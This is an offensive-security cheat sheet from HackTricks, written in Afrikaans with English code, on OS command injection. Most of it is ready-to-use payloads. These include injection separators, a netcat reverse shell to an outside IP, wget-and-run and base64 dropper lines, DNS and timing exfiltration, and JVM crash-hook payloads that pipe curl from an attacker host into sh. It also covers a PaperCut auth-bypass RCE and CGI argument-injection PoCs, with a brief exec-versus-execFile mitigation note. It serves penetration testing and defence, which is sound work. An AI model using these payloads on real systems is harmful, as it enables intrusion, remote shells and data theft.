Command Injection
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wat is command Injection?
’n command injection laat ’n aanvaller toe om ewekansige bedryfstelselopdragte op die bediener wat ’n toepassing huisves, uit te voer. Gevolglik kan die toepassing en al sy data ten volle gekompromitteer word. Die uitvoering van hierdie opdragte stel gewoonlik die aanvaller in staat om ongemagtigde toegang tot of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.
Konteks
Afhangend van waar jou invoer ingespuit word, mag dit nodig wees om die aangehaalde konteks (gebruik " of ') te beëindig voordat jy opdragte uitvoer.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Beperking Bypasses
As jy probeer om arbitrary commands inside a linux machine uit te voer sal jy belangstel om te lees oor hierdie Bypasses:
Voorbeelde
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Bash arithmetic evaluation in RewriteMap/CGI-style scripts
RewriteMap helpers geskryf in bash druk soms query-parameters in globals en vergelyk hulle later in aritmetiese kontekste ([[ $a -gt $b ]], $((...)), let). Aritmetiese uitbreiding her-tokeniseer die inhoud, sodat aanvaller-beheerde veranderlike name of array-referensies twee keer uitgebrei word en kan uitvoer.
Pattern seen in Ivanti EPMM RewriteMap helpers:
- Parameters word aan globals toegeken (
st→gStartTime,h→theValue). - Later kontrole:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
- Stuur
st=theValuesodatgStartTimena die stringtheValuewys. - Stuur
h=gPath['sleep 5']sodattheValue’n array-indeks bevat; tydens die aritmetiese kontrole wordsleep 5uitgevoer (vervang met ’n werklike payload).
Probe (~5s vertraging, dan 404 as kwesbaar):
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
Aantekeninge:
- Soek na dieselfde helper onder ander voorvoegsels (bv.,
/mifs/c/aftstore/fob/). - Aritmetiese kontekste behandel onbekende tokens as veranderlike/arys-identifiseerders, dus omseil dit eenvoudige metatekenfilters.
Parameters
Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortgelyke RCE kwesbaarhede (van link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Data onttrekking: char by char
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS-gebaseerde data-ekfiltrasie
Gebaseer op die tool van https://github.com/HoLyVieR/dnsbin, wat ook aangebied word op dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Aanlyn gereedskap om te kontroleer vir DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
Filtering bypass
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
Wanneer jy JavaScript/TypeScript back-ends oudit, sal jy dikwels die Node.js child_process API teëkom.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() skep ’n shell (/bin/sh -c), daarom sal enige karakter wat ’n spesiale betekenis vir die shell het (back-ticks, ;, &&, |, $(), …) lei tot command injection wanneer gebruikersinvoer in die string gekonkateneer word.
Mitigasie: gebruik execFile() (of spawn() sonder die shell opsie) en gee elke argument as ’n aparte array-element sodat geen shell betrokke is nie:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Nie alle injections vereis shell metakarakters nie. As die aansoek onbetroubare stringe as argumente aan ’n stelselutility deurgee (selfs met execve/execFile en geen shell nie), sal baie programme steeds enige argument wat met - of -- begin as ’n opsie ontleed. Dit stel ’n aanvaller in staat om modusse om te skakel, uitvoerpaadjies te verander, of gevaarlike gedrag te veroorsaak sonder om ooit ’n shell binne te dring.
Tipiese plekke waar dit voorkom:
- Embedded web UIs/CGI handlers wat opdragte soos
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, ens. bou. - Centralized CGI routers (e.g.,
/cgi-bin/<something>.cgiwith a selector parameter liketopicurl=<handler>) waar verskeie handlers dieselfde swak validator hergebruik.
Wat om te probeer:
- Verskaf waardes wat begin met
-/--sodat die downstream-instrument dit as opsies sal gebruik. - Misbruik flags wat gedrag verander of lêers skryf, byvoorbeeld:
ping:-f/-c 100000om die toestel te belas (DoS)curl:-o /tmp/xom arbitrêre paadjies te skryf,-K <url>om deur die aanvaller beheerde konfig te laadtcpdump:-G 1 -W 1 -z /path/script.shom post-rotate uitvoering in onveilige wrappers te bereik- As die program
--end-of-options ondersteun, probeer om naïewe mitigasies te omseil wat--op die verkeerde plek vooraan sit.
Generiese PoC-vorme teen Centralized CGI routers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
JVM diagnostiese callbacks vir gewaarborgde exec
Enige primitief wat jou toelaat om JVM-opdragreël-argumente in te voeg (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) kan omskep word in ’n betroubare RCE sonder om toepassings-bytecode aan te raak:
- Dwing ’n deterministiese crash af deur metaspace of heap te verklein:
-XX:MaxMetaspaceSize=16m(or a tiny-Xmx). Dit verseker ’nOutOfMemoryErrorselfs tydens vroeë bootstrap. - Koppel ’n fout-hook:
-XX:OnOutOfMemoryError="<cmd>"or-XX:OnError="<cmd>"voer ’n arbitrêre OS-opdrag uit wanneer die JVM aborteer. - Voeg opsioneel
-XX:+CrashOnOutOfMemoryErrorby om herstelpogings te vermy en die payload eenmalig te hou.
Example payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Omdat hierdie diagnostika deur die JVM self ontleed word, is geen shell metacharacters nodig nie en die kommando hardloop met dieselfde integriteitsvlak as die launcher. Desktop IPC bugs wat user-supplied JVM flags deurgee (sien Localhost WebSocket abuse) vertaal dus direk in OS command execution.
PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
- Kwetsbare NG/MF builds (bv. 22.0.5 Build 63914) openbaar
/app?service=page/SetupCompleted; as jy daar blaai en op Login klik, ontvang jy ’n geldigeJSESSIONIDsonder inlogbesonderhede (authentication bypass in the setup flow). - In Options → Config Editor, stel
print-and-device.script.enabled=Yenprint.script.sandboxed=Nom printer scripting aan te skakel en die sandbox af te skakel. - In die printer Scripting-tab, skakel die script aan en hou
printJobHookgedefinieer om validasie-foute te vermy, maar plaas die payload buite die funksie sodat dit onmiddellik uitgevoer word wanneer jy op Apply klik (geen print job nodig nie):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
- Vervang die callback met ’n reverse shell; as die UI/PoC nie pipes/redirects kan hanteer nie, stage ’n payload met een opdrag en exec dit met ’n tweede versoek.
- Horizon3 se CVE-2023-27350.py outomatiseer die auth bypass, config flips, command execution, en rollback—voer dit deur ’n upstream proxy (e.g.,
proxychains→ Squid) wanneer die diens slegs intern bereikbaar is.
Brute-Force Detection List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
Verwysings
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
- PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE
- CVE-2023-27350.py (auth bypass + print scripting automation)
- Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


